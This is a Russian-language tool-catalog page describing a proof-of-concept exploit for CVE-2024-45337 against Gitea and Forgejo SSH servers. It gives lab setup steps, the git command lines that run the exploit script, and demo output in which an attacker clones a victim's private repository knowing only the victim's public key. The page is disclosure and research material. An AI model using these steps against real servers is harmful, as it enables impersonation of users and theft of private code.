Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2024-45337 — Концепт-эксплойт для CVE-2024-45337 против Gitea и Forgejo | Kitploit
Инструменты/GitHubGitHub/peace-maker/cve-2024-45337
Повышение привилегийАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеАутентификация
GitHubpeace-maker/cve-2024-45337

CVE-2024-45337

Концепт-эксплойт для CVE-2024-45337 против Gitea и Forgejo

Репозиторий
11 год назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Эксплойт Proof of Concept для CVE-2024-45337

Этот репозиторий содержит эксплойт Proof of Concept для CVE-2024-45337. Его можно использовать для обёртки ssh при взаимодействии с SSH-сервером, реализованным с помощью golang.org/x/crypto <= v0.30.0, при небезопасном кэшировании разрешений в обратном вызове ServerConfig.PublicKeyCallback.

Gitea <= 1.22.4 и Forgejo <= 7.0.11, 9.0.2 уязвимы, если они размещены с использованием внутреннего SSH-сервера. Вы можете выдать себя за любого пользователя, если знаете хотя бы один открытый ключ, связанный с его учётной записью. Для аутентификации по SSH необходима собственная учётная запись.

Запуск PoC

  1. Запустите уязвимый экземпляр forgejo или gitea. Docker-образы Gitea не уязвимы, поэтому придётся запускать с помощью нативного бинарного файла.
root@kitploit:~
docker compose -f docker-compose.forgejo.yml up -d
  1. Выполните установку, изменив порт SSH на 22 на http://localhost:3000
  2. Зарегистрируйте пользователя victim
    1. Добавьте открытый ключ жертвы в учётную запись на http://localhost:3000/user/settings/keys
    2. Создайте закрытый репозиторий с именем important_repo и сделайте начальный коммит с README, чтобы было что клонировать
  3. Зарегистрируйте пользователя attacker
    1. Добавьте открытый ключ атакующего в учётную запись на http://localhost:3000/user/settings/keys
  4. Клонируйте репозиторий, используя учётную запись атакующего
    1. Установите GIT_ATTACK_PRIVKEY в путь к закрытому ключу легитимной учётной записи
    2. Установите GIT_ATTACK_PUBKEY в путь к известному открытому ключу другой целевой учётной записи. Закрытый ключ для неё неизвестен.
    3. Установите GIT_SSH в путь к скрипту эксплойта, чтобы указать git использовать его вместо родной команды ssh
root@kitploit:~
GIT_ATTACK_PRIVKEY=./id_ed25519_attacker GIT_ATTACK_PUBKEY=./id_ed25519_victim.pub GIT_SSH_VARIANT=ssh GIT_SSH=./ssh_cve-2024-45337.py git clone ssh://git@localhost:222/victim/important_repo.git

Демонстрация

Используйте .ssh/config для указания ключей при клонировании

root@kitploit:~
Host sshvictim
 Hostname localhost
 Port 222
 User git
 IdentityFile /path/to/id_ed25519_victim
 IdentitiesOnly yes
Host sshattacker
 Hostname localhost
 Port 222
 User git
 IdentityFile /path/to/id_ed25519_attacker
 IdentitiesOnly yes

Запуск против локального контейнера Forgejo 7.0.11, настроенного как описано выше.

root@kitploit:~
$ ssh-keygen -t ed25519 -f id_ed25519_victim
$ ssh-keygen -t ed25519 -f id_ed25519_attacker
$ git clone sshattacker:victim/important_repo.git
Cloning into 'important_repo'...
Forgejo: User: 2:attacker with Key: 2:attacker is not authorized to read victim/important_repo.
fatal: Could not read from remote repository.

Please make sure you have the correct access rights
and the repository exists.
$ git clone sshvictim:victim/important_repo.git
Cloning into 'important_repo'...
remote: Enumerating objects: 3, done.
remote: Counting objects: 100% (3/3), done.
remote: Total 3 (delta 0), reused 0 (delta 0), pack-reused 0
Receiving objects: 100% (3/3), done.

# Удаляем закрытый ключ жертвы для демонстрации
$ rm -rf important_repo id_ed25519_victim
$ GIT_ATTACK_PRIVKEY=./id_ed25519_attacker GIT_ATTACK_PUBKEY=./id_ed25519_victim.pub GIT_SSH_VARIANT=ssh GIT_SSH=./ssh_cve-2024-45337.py git clone ssh://git@localhost:222/victim/important_repo.git
Cloning into 'important_repo'...
remote: Enumerating objects: 3, done.
remote: Counting objects: 100% (3/3), done.
remote: Total 3 (delta 0), reused 0 (delta 0), pack-reused 0
Receiving objects: 100% (3/3), done.
Скачать инструмент